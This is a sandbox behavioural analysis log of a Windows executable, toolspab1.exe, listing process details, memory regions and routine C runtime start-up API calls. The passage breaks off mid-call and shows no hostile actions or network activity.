# Flog Txt Version 1 # Analyzer Version: 4.4.0 # Analyzer Build Date: Dec 8 2021 20:04:45 # Log Creation Date: 31.12.2021 17:40:18.877 Process: id = "1" image_name = "toolspab1.exe" filename = "c:\\users\\rdhj0cnfevzx\\desktop\\toolspab1.exe" page_root = "0x70c7c000" os_pid = "0x10ac" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x618" cmd_line = "\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe\" " cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f4cd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 117 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 118 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 119 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 120 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 121 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 122 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 123 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 124 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 125 start_va = 0x400000 end_va = 0x781fff monitored = 1 entry_point = 0x4248e0 region_type = mapped_file name = "toolspab1.exe" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\toolspab1.exe") Region: id = 126 start_va = 0x77b90000 end_va = 0x77d0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 127 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 128 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 129 start_va = 0x7fff0000 end_va = 0x7ffd504cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 130 start_va = 0x7ffd504d0000 end_va = 0x7ffd50690fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 131 start_va = 0x7ffd50691000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffd50691000" filename = "" Region: id = 269 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 270 start_va = 0x6edd0000 end_va = 0x6ee1ffff monitored = 0 entry_point = 0x6ede8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 271 start_va = 0x6ee20000 end_va = 0x6ee99fff monitored = 0 entry_point = 0x6ee33290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 272 start_va = 0x74f30000 end_va = 0x7500ffff monitored = 0 entry_point = 0x74f43980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 273 start_va = 0x6eea0000 end_va = 0x6eea7fff monitored = 0 entry_point = 0x6eea17c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 274 start_va = 0x820000 end_va = 0xa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 275 start_va = 0x74f30000 end_va = 0x7500ffff monitored = 0 entry_point = 0x74f43980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 276 start_va = 0x76ad0000 end_va = 0x76c4dfff monitored = 0 entry_point = 0x76b81b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 277 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 278 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 279 start_va = 0x820000 end_va = 0x8ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 280 start_va = 0x980000 end_va = 0xa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 281 start_va = 0x74810000 end_va = 0x748a1fff monitored = 0 entry_point = 0x74850380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 282 start_va = 0x7fb00000 end_va = 0x7fea0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 283 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 284 start_va = 0xa80000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 285 start_va = 0xbd0000 end_va = 0x13cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bd0000" filename = "" Region: id = 286 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 287 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 288 start_va = 0x30000 end_va = 0x38fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 289 start_va = 0x750d0000 end_va = 0x75216fff monitored = 0 entry_point = 0x750e1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 290 start_va = 0x77440000 end_va = 0x7758efff monitored = 0 entry_point = 0x774f6820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 291 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 292 start_va = 0xa80000 end_va = 0xb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 293 start_va = 0xbc0000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 294 start_va = 0x790000 end_va = 0x7b9fff monitored = 0 entry_point = 0x795680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 295 start_va = 0xbd0000 end_va = 0xd57fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bd0000" filename = "" Region: id = 296 start_va = 0x75660000 end_va = 0x7568afff monitored = 0 entry_point = 0x75665680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 297 start_va = 0x790000 end_va = 0x790fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 298 start_va = 0x7a0000 end_va = 0x7a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 299 start_va = 0xd60000 end_va = 0xee0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d60000" filename = "" Region: id = 300 start_va = 0xef0000 end_va = 0x22effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ef0000" filename = "" Region: id = 301 start_va = 0x70970000 end_va = 0x709e4fff monitored = 0 entry_point = 0x709a9a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 302 start_va = 0x74a10000 end_va = 0x74acdfff monitored = 0 entry_point = 0x74a45630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 303 start_va = 0x752b0000 end_va = 0x7546cfff monitored = 0 entry_point = 0x75392a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 304 start_va = 0x74e80000 end_va = 0x74f2cfff monitored = 0 entry_point = 0x74e94f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 305 start_va = 0x748c0000 end_va = 0x748ddfff monitored = 0 entry_point = 0x748cb640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 306 start_va = 0x748b0000 end_va = 0x748b9fff monitored = 0 entry_point = 0x748b2a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 307 start_va = 0x77680000 end_va = 0x776d7fff monitored = 0 entry_point = 0x776c25c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 308 start_va = 0x76c50000 end_va = 0x76c93fff monitored = 0 entry_point = 0x76c69d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 309 start_va = 0x7b0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 310 start_va = 0x8e0000 end_va = 0x91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 311 start_va = 0x74c60000 end_va = 0x74d7efff monitored = 0 entry_point = 0x74ca5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 312 start_va = 0x7b0000 end_va = 0x7b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 313 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 314 start_va = 0x22f0000 end_va = 0x23abfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000022f0000" filename = "" Region: id = 315 start_va = 0x7b0000 end_va = 0x7b3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 316 start_va = 0x70720000 end_va = 0x7073cfff monitored = 0 entry_point = 0x70723b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 317 start_va = 0x7c0000 end_va = 0x7c2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 333 start_va = 0x7c0000 end_va = 0x7c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Thread: id = 1 os_tid = 0x10c0 [0226.112] GetStartupInfoW (in: lpStartupInfo=0x19ff18 | out: lpStartupInfo=0x19ff18*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0226.112] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0226.112] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0xbc0000 [0226.737] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0226.737] GetProcAddress (hModule=0x74f30000, lpProcName="FlsAlloc") returned 0x74f4a980 [0226.737] GetProcAddress (hModule=0x74f30000, lpProcName="FlsGetValue") returned 0x74f47570 [0226.737] GetProcAddress (hModule=0x74f30000, lpProcName="FlsSetValue") returned 0x74f49e30 [0226.737] GetProcAddress (hModule=0x74f30000, lpProcName="FlsFree") returned 0x74f54ff0 [0226.739] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x238) returned 0xbc05a8 [0226.739] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0226.739] GetCurrentThreadId () returned 0x10c0 [0226.739] GetStartupInfoW (in: lpStartupInfo=0x19fea0 | out: lpStartupInfo=0x19fea0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0226.739] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x824) returned 0xbc07e8 [0226.739] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0226.739] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0226.739] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0226.740] SetHandleCount (uNumber=0x20) returned 0x20 [0226.740] GetCommandLineW () returned="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe\" " [0226.740] GetEnvironmentStringsW () returned 0x98fea0* [0226.740] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0xa3e) returned 0xbc1018 [0226.740] FreeEnvironmentStringsW (penv=0x98fea0) returned 1 [0226.740] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x773ca0, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\toolspab1.exe")) returned 0x2b [0226.740] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x84) returned 0xbc1a60 [0226.740] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0xb4) returned 0xbc1af0 [0226.740] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x62) returned 0xbc1bb0 [0226.740] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x80) returned 0xbc1c20 [0226.740] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x92) returned 0xbc1ca8 [0226.740] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x9c) returned 0xbc1d48 [0226.741] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x86) returned 0xbc1df0 [0226.741] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x4c) returned 0xbc1e80 [0226.741] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x6c) returned 0xbc1ed8 [0226.741] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x3e) returned 0xbc1f50 [0226.741] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x5e) returned 0xbc1f98 [0226.741] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x86) returned 0xbc2000 [0226.741] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x4e) returned 0xbc2090 [0226.741] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x52) returned 0xbc20e8 [0226.741] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x40) returned 0xbc2148 [0226.741] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0xf6) returned 0xbc2190 [0226.742] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0xa0) returned 0xbc2290 [0226.742] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x5a) returned 0xbc2338 [0226.742] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x5e) returned 0xbc23a0 [0226.742] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0xb4) returned 0xbc2408 [0226.742] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x48) returned 0xbc24c8 [0226.742] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x54) returned 0xbc2518 [0226.742] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x5a) returned 0xbc2578 [0226.742] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x6c) returned 0xbc25e0 [0226.742] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x76) returned 0xbc2658 [0226.742] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x60) returned 0xbc26d8 [0226.742] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0xfa) returned 0xbc2740 [0226.742] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x52) returned 0xbc2848 [0226.742] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x42) returned 0xbc28a8 [0226.743] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x50) returned 0xbc28f8 [0226.743] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x78) returned 0xbc2950 [0226.743] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x76) returned 0xbc29d0 [0226.743] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x48) returned 0xbc2a50 [0226.743] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x66) returned 0xbc2aa0 [0226.743] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x50) returned 0xbc2b10 [0226.743] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x68) returned 0xbc2b68 [0226.743] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x48) returned 0xbc2bd8 [0226.743] HeapValidate (hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc1018) returned 1 [0226.753] HeapFree (in: hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc1018 | out: hHeap=0xbc0000) returned 1 [0226.881] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0xa4) returned 0xbc2c28 [0226.881] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0226.881] GetLastError () returned 0x0 [0226.882] SetLastError (dwErrCode=0x0) [0226.882] GetLastError () returned 0x0 [0226.882] SetLastError (dwErrCode=0x0) [0226.882] GetLastError () returned 0x0 [0226.882] SetLastError (dwErrCode=0x0) [0226.882] GetACP () returned 0x4e4 [0226.882] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x244) returned 0xbc2cd8 [0226.882] GetLastError () returned 0x0 [0226.882] SetLastError (dwErrCode=0x0) [0226.882] IsValidCodePage (CodePage=0x4e4) returned 1 [0226.882] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fe48 | out: lpCPInfo=0x19fe48) returned 1 [0226.882] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f90c | out: lpCPInfo=0x19f90c) returned 1 [0226.882] GetLastError () returned 0x0 [0226.882] SetLastError (dwErrCode=0x0) [0226.882] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f924, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0226.882] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x22c) returned 0xbc1018 [0226.883] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f924, cbMultiByte=256, lpWideCharStr=0xbc1040, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\⛝뮖텽⊙) returned 256 [0226.883] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\⛝뮖텽⊙, cchSrc=256, lpCharType=0x19fc2c | out: lpCharType=0x19fc2c) returned 1 [0226.883] HeapValidate (hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc1018) returned 1 [0226.883] HeapFree (in: hHeap=0xbc0000, dwFlags=0x0, lpMem=0xbc1018 | out: hHeap=0xbc0000) returned 1 [0226.884] GetLastError () returned 0x0 [0226.884] SetLastError (dwErrCode=0x0) [0226.884] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f924, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0226.884] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x22c) returned 0xbc1018 [0226.884] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f924, cbMultiByte=256, lpWideCharStr=0xbc1040, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\⛝뮖텽⊙) returned 256 [0226.884] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\⛝뮖텽⊙, cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0226.885] RtlAllocateHeap (HeapHandle=0xbc0000, Flags=0x0, Size=0x22c) returned 0xbc1250 [0226.885] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\揝몗털™᠌밐∀, cchSrc=256, lpDestStr=0xbc1278, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\鿝뮗퇅⊙) returned 256 [0226.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 